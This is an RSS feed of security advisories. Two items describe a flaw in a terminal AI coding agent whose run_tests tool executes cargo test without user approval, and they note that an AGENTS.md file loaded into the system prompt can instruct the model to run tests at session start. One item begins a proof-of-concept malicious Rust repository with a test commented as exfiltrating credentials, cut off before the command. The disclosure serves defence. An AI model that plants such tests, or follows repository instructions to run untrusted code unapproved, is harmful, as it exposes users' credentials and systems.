<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 09 Oct 2026 13:22:50 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-323574</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-323574</link>
      <description>EUVD-2026-323574</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-323574</guid>
    </item>
    <item>
      <title>fkie_cve-2026-45311</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-45311</link>
      <description>&lt;p&gt;CodeWhale is a DeepSeek + MiMo coding agent in terminal. From 0.3.0 to 0.8.23, the run_tests tool executes cargo test in the workspace with ApprovalRequirement::Auto, meaning it runs without any user approval prompt. cargo test compiles and executes arbitrary code: test binaries, build.rs build scripts, and proc macros. While auto-approving test execution is a deliberate design choice, it creates an inconsistency in the security boundary. However, in a malicious repository, test code can execute arbitrary shell commands, exfiltrate credentials, or establish persistence with zero approval. The attack is amplified by AGENTS.md (auto-loaded into the system prompt), which can instruct the model to run tests proactively at session start. This vulnerability is fixed in 0.8.23.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;CodeWhale is a DeepSeek + MiMo coding agent in terminal. From 0.3.0 to 0.8.23, the run_tests tool executes cargo test in the workspace with ApprovalRequirement::Auto, meaning it runs without any user approval prompt. cargo test compiles and executes arbitrary code: test binaries, build.rs build scripts, and proc macros. While auto-approving test execution is a deliberate design choice, it creates an inconsistency in the security boundary. However, in a malicious repository, test code can execute arbitrary shell commands, exfiltrate credentials, or establish persistence with zero approval. The attack is amplified by AGENTS.md (auto-loaded into the system prompt), which can instruct the model to run tests proactively at session start. This vulnerability is fixed in 0.8.23.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-45311</guid>
    </item>
    <item>
      <title>GHSA-wx44-2q6h-j6p8 — DeepSeek TUI: run_tests Tool Enables RCE via Malicious Repository Without Approval</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-wx44-2q6h-j6p8</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; crates.io: deepseek-tui, crates.io: deepseek-tui-cli, npm: deepseek-tui&lt;/p&gt;
&lt;p&gt;### Summary
The `run_tests` tool executes `cargo test` in the workspace with `ApprovalRequirement::Auto`,  meaning it runs without any user approval prompt. The source code explicitly states this design choice:&lt;/p&gt;
&lt;p&gt;```rust
fn approval_requirement(&amp;amp;self) -&amp;gt; ApprovalRequirement {
    // Tests are encouraged, so avoid gating them behind approval.
    ApprovalRequirement::Auto
}
```
`cargo test` compiles and executes arbitrary code: test binaries, `build.rs` build scripts, and proc macros. While auto-approving test execution is a deliberate design choice, it creates an inconsistency in the security boundary. However, in a malicious repository, test code can execute arbitrary shell commands, exfiltrate credentials, or establish persistence with zero approval.&lt;/p&gt;
&lt;p&gt;The attack is amplified by `AGENTS.md` (auto-loaded into the system prompt), which can instruct the model to run tests proactively at session start.&lt;/p&gt;
&lt;p&gt;### PoC
**Step 1 — Create a malicious Rust repo:**&lt;/p&gt;
&lt;p&gt;```bash
mkdir /tmp/malicious-repo &amp;amp;&amp;amp; cd /tmp/malicious-repo &amp;amp;&amp;amp; git init
```&lt;/p&gt;
&lt;p&gt;`Cargo.toml`:&lt;/p&gt;
&lt;p&gt;[package]
    name = &amp;#34;cool-library&amp;#34;
    version = &amp;#34;0.1.0&amp;#34;
    edition = &amp;#34;2021&amp;#34;&lt;/p&gt;
&lt;p&gt;`src/lib.rs`:&lt;/p&gt;
&lt;p&gt;pub fn add(a: i32, b: i32) -&amp;gt; i32 { a + b }&lt;/p&gt;
&lt;p&gt;`tests/integration_test.rs`:&lt;/p&gt;
&lt;p&gt;use cool_library::add;&lt;/p&gt;
&lt;p&gt;#[test]
    fn test_add() {
        assert_eq!(add(2, 3), 5);
    }&lt;/p&gt;
&lt;p&gt;#[test]
    fn test_edge_cases() {
        assert_eq!(add(0, 0), 0);
        // Exfiltrate credentials during test setup
        let _ = std::process::Command:…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; crates.io: deepseek-tui, crates.io: deepseek-tui-cli, npm: deepseek-tui&lt;/p&gt;
&lt;p&gt;### Summary
The `run_tests` tool executes `cargo test` in the workspace with `ApprovalRequirement::Auto`,  meaning it runs without any user approval prompt. The source code explicitly states this design choice:&lt;/p&gt;
&lt;p&gt;```rust
fn approval_requirement(&amp;amp;self) -&amp;gt; ApprovalRequirement {
    // Tests are encouraged, so avoid gating them behind approval.
    ApprovalRequirement::Auto
}
```
`cargo test` compiles and executes arbitrary code: test binaries, `build.rs` build scripts, and proc macros. While auto-approving test execution is a deliberate design choice, it creates an inconsistency in the security boundary. However, in a malicious repository, test code can execute arbitrary shell commands, exfiltrate credentials, or establish persistence with zero approval.&lt;/p&gt;
&lt;p&gt;The attack is amplified by `AGENTS.md` (auto-loaded into the system prompt), which can instruct the model to run tests proactively at session start.&lt;/p&gt;
&lt;p&gt;### PoC
**Step 1 — Create a malicious Rust repo:**&lt;/p&gt;
&lt;p&gt;```bash
mkdir /tmp/malicious-repo &amp;amp;&amp;amp; cd /tmp/malicious-repo &amp;amp;&amp;amp; git init
```&lt;/p&gt;
&lt;p&gt;`Cargo.toml`:&lt;/p&gt;
&lt;p&gt;[package]
    name = &amp;#34;cool-library&amp;#34;
    version = &amp;#34;0.1.0&amp;#34;
    edition = &amp;#34;2021&amp;#34;&lt;/p&gt;
&lt;p&gt;`src/lib.rs`:&lt;/p&gt;
&lt;p&gt;pub fn add(a: i32, b: i32) -&amp;gt; i32 { a + b }&lt;/p&gt;
&lt;p&gt;`tests/integration_test.rs`:&lt;/p&gt;
&lt;p&gt;use cool_library::add;&lt;/p&gt;
&lt;p&gt;#[test]
    fn test_add() {
        assert_eq!(add(2, 3), 5);
    }&lt;/p&gt;
&lt;p&gt;#[test]
    fn test_edge_cases() {
        assert_eq!(add(0, 0), 0);
        // Exfiltrate credentials during test setup
        let _ = std::process::Command:…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-wx44-2q6h-j6p8</guid>
    </item>
  </channel>
</rss>
